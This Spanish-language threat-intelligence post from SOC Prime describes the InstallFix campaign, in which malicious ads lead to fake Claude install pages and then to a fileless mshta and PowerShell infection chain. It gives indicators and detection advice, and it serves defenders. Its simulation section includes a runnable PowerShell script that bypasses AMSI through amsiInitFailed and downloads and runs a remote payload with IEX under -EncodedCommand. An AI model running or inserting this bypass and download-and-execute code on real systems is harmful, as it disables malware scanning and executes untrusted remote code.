SOC Prime Bias: Medio

07 May 2026 18:38

InstallFix y Claude Code: Cómo las Páginas de Instalación Falsas Conducen a un Compromiso Real

Author Photo
Ruslan Mikhalov Jefe de Investigación de Amenazas en SOC Prime linkedin icon Seguir
InstallFix y Claude Code: Cómo las Páginas de Instalación Falsas Conducen a un Compromiso Real
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

La campaña InstallFix distribuye malware a través de anuncios maliciosos en Google que imitan páginas de instalación de Claude AI. Se persuade a las víctimas a ejecutar comandos de PowerShell que invocan mshta.exe para recuperar un archivo polyglot ZIP y HTA, que luego inicia una cadena de infección sin archivos de múltiples etapas. La carga útil desactiva la validación SSL y protecciones AMSI, descarga código adicional desde un dominio de comando y control específico para la víctima, y crea persistencia mediante tareas programadas. La operación ha tenido como objetivo organizaciones en múltiples industrias y regiones en todo el mundo.

Investigación

Los investigadores rastrearon el flujo de ejecución completo desde la página del instalador falso a través de mshta.exe, VBScript y varias capas de PowerShell codificado. La desofuscación mostró que el malware generó un identificador único para cada víctima y lo utilizó para construir una URL de comando y control específica del host. La telemetría de la red reveló comunicación saliente a múltiples dominios maliciosos y direcciones IP. Aunque la carga útil final no se recuperó completamente, el comportamiento observado sugirió actividades de recopilación y exfiltración de datos.

Mitigación

Los defensores deben bloquear el acceso a los dominios y direcciones IP maliciosos identificados y restringir el uso de mshta.exe y otras herramientas de secuencias de comandos heredadas siempre que sea posible. Los controles de seguridad de los endpoints deben ajustarse para detectar intentos de evasión de AMSI y manipulación de validación SSL. Las organizaciones también deben aplicar un estricto filtrado de URLs para el tráfico de anuncios de Google que conduce a páginas de instalación de software. La concienciación del usuario sigue siendo crítica, especialmente en torno al riesgo de ejecutar comandos copiados de resultados de búsqueda patrocinados o fuentes no verificadas.

Respuesta

Los equipos de seguridad deben alertar sobre cadenas de procesos en las que mshta.exe lanza cmd.exe, powershell.exe, o intérpretes de scripts con URLs remotas sospechosas. Esos eventos deben correlacionarse con la creación de tareas programadas y conexiones salientes a la infraestructura de comando y control conocida. Si se confirma la actividad, los defensores deben contener el host, terminar los procesos maliciosos y eliminar cualquier mecanismo de persistencia como tareas programadas. Luego se debe realizar una revisión forense para identificar cualquier componente de carga útil sin archivos restante.

"graph TB %% Definiciones de clase classDef action fill:#99ccff classDef tool fill:#cccccc classDef process fill:#ffcc99 classDef malware fill:#ff9999 %% Nodos – Acciones recon_google_ads["<b>Acción</b> – <b>T1593.002 Buscar Sitios Web/Dominios Abiertos: Motores de Búsqueda</b><br/><b>Descripción</b>: El adversario coloca resultados patrocinados maliciosos en Google para atraer a las víctimas que buscan Claude AI."] class recon_google_ads action initial_access_phishing["<b>Acción</b> – <b>T1566.002 Phishing: Enlace de Spearphishing</b><br/><b>Descripción</b>: La víctima hace clic en un anuncio malicioso y es redirigida a una página falsa de instalación de Claude que aloja un comando de PowerShell."] class initial_access_phishing action user_exec_copy_paste["<b>Acción</b> – <b>T1204.004 Ejecución de Usuario: Copiar y Pegar Malicioso</b><br/><b>Descripción</b>: La víctima copia el comando de PowerShell mostrado y lo ejecuta en una consola."] class user_exec_copy_paste action execution_mshta["<b>Acción</b> – <b>T1218.005 Ejecución de Proxy de Binario del Sistema: Mshta</b><br/><b>Descripción</b>: PowerShell invoca mshta.exe con una URL a un paquete polyglot HTA/MSIX."] class execution_mshta action execution_htavbscript["<b>Acción</b> – <b>T1027 Archivos o Información Ofuscados</b><br/><b>Descripción</b>: HTA VBScript se ejecuta a través de mshta, utiliza el objeto COM Shell.Application para lanzar cmd.exe."] class execution_htavbscript action execution_powershell_stager["<b>Acción</b> – <b>T1140 Desencriptar/Decodificar Archivos o Información</b><br/><b>Descripción</b>: El stager de PowerShell está codificado en base64, dividido en variables y decodificado con XOR con la clave "AMSI_RESULT_NOT_DETECTED"."] class execution_powershell_stager action defense_evasion_amsi["<b>Acción</b> – <b>T1211 Explotación para Evasión de Defensa</b><br/><b>Descripción</b>: El script desactiva la validación del certificado SSL y parchea AMSI para evadir la detección."] class defense_evasion_amsi action persistence_scheduled_task["<b>Acción</b> – <b>T1053 Tarea/Trabajo Programados</b><br/><b>Descripción</b>: El malware crea una tarea programada para relanzar la carga útil después del reinicio del sistema."] class persistence_scheduled_task action collection_automated["<b>Acción</b> – <b>T1119 Recolección Automatizada</b><br/><b>Descripción</b>: Recopila datos de aplicaciones eu-wallet y datos de navegadores desde el host comprometido."] class collection_automated action exfiltration_automated["<b>Acción</b> – <b>T1020 Exfiltración Automatizada</b> & <b>T1029 Transferencia Programada</b><br/><b>Descripción</b>: Los datos recopilados se envían a dominios controlados por el atacante como https://oakenfjrod.ru y a IPs 104.21.0.95, 185.177.239.255."] class exfiltration_automated action %% Nodos – Herramientas / Procesos tool_mshta["<b>Herramienta</b> – <b>Nombre</b>: mshta.exe<br/><b>Propósito</b>: Ejecuta archivos de Aplicación HTML."] class tool_mshta tool tool_cmd["<b>Herramienta</b> – <b>Nombre</b>: cmd.exe<br/><b>Propósito</b>: Intérprete de línea de comandos de Windows."] class tool_cmd tool tool_powershell["<b>Herramienta</b> – <b>Nombre</b>: PowerShell<br/><b>Propósito</b>: Motor de secuencias de comandos utilizado para la entrega y decodificación de la carga útil."] class tool_powershell tool tool_amsi_patch["<b>Herramienta</b> – <b>Nombre</b>: Parche AMSI<br/><b>Propósito</b>: Altera la Interfaz de Escaneo Antimalware para suprimir la detección."] class tool_amsi_patch tool tool_schtasks["<b>Herramienta</b> – <b>Nombre</b>: schtasks.exe<br/><b>Propósito</b>: Crea y gestiona tareas programadas."] class tool_schtasks tool %% Conexiones – Flujo recon_google_ads –>|leads_to| initial_access_phishing initial_access_phishing –>|leads_to| user_exec_copy_paste user_exec_copy_paste –>|executes| tool_powershell tool_powershell –>|calls| execution_mshta execution_mshta –>|uses| tool_mshta execution_mshta –>|downloads| execution_htavbscript execution_htavbscript –>|spawns| tool_cmd tool_cmd –>|runs| execution_powershell_stager execution_powershell_stager –>|uses| tool_powershell execution_powershell_stager –>|applies| defense_evasion_amsi defense_evasion_amsi –>|uses| tool_amsi_patch defense_evasion_amsi –>|creates| persistence_scheduled_task persistence_scheduled_task –>|uses| tool_schtasks persistence_scheduled_task –>|enables| collection_automated collection_automated –>|triggers| exfiltration_automated "

Flujo de Ataque

Ejecución de Simulación

Prerrequisito: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.

Razonamiento: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y narrativas DEBEN reflejar directamente los TTPs identificados y tienen como objetivo generar la telemetría exacta esperada por la lógica de detección. Ejemplos abstractos o no relacionados llevarán a un diagnóstico erróneo.

  • Narrativa y Comandos de Ataque:
    El atacante obtiene un script malicioso de PowerShell a través de un enlace de spear-phishing (T1566.002) que descarga una carga útil desde un servidor comprometido. Para evitar la detección AMSI, el script inyecta la cadena AMSI_RESULT_NOT_DETECTED en la memoria del proceso, y luego utiliza el IEX operador para ejecutar el código descargado. Todo el comando está codificado en Base64 y se lanza con la bandera -EncodedCommand , satisfaciendo los tres cadenas de selector en la regla Sigma.

    Paso a paso:

    1. Descargar la carga útil maliciosa (una simple línea de comando de PowerShell que escribe un archivo).
    2. Inyectar marcador de evasión AMSI configurando el campo estático privado amsiInitFailed.
    3. Ejecutar la carga útil vía IEX.
    4. Lanzar toda la cadena usando powershell.exe -EncodedCommand ….
  • Script de Prueba de Regresión:

    # Simulación de ataque PowerShell estilo InstallFix
    # -------------------------------------------------
    # 1. Definir la línea de comando maliciosa
    $malicious = @"
    `$bypass = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
                .GetField('amsiInitFailed','NonPublic,Static')
    `$bypass.SetValue(`$null,$true)
    IEX (New-Object Net.WebClient).DownloadString('http://example.com/payload.ps1')
    "@
    
    # 2. Codificar el script en UTF-16LE y luego en Base64 (requisito de PowerShell)
    $bytes = [System.Text.Encoding]::Unicode.GetBytes($malicious)
    $encoded = [Convert]::ToBase64String($bytes)
    
    # 3. Ejecutar vía powershell.exe con la bandera -EncodedCommand
    $command = "powershell.exe -NoProfile -EncodedCommand $encoded"
    Write-Host "Lanzando PowerShell malicioso..."
    Invoke-Expression $command
  • Comandos de Limpieza:

    # Eliminar cualquier archivo temporal y terminar procesos persistentes
    Get-Process -Name powershell -ErrorAction SilentlyContinue | Stop-Process -Force
    Remove-Item -Path "$env:TEMPpayload.ps1" -ErrorAction SilentlyContinue
    Write-Host "Limpieza completa."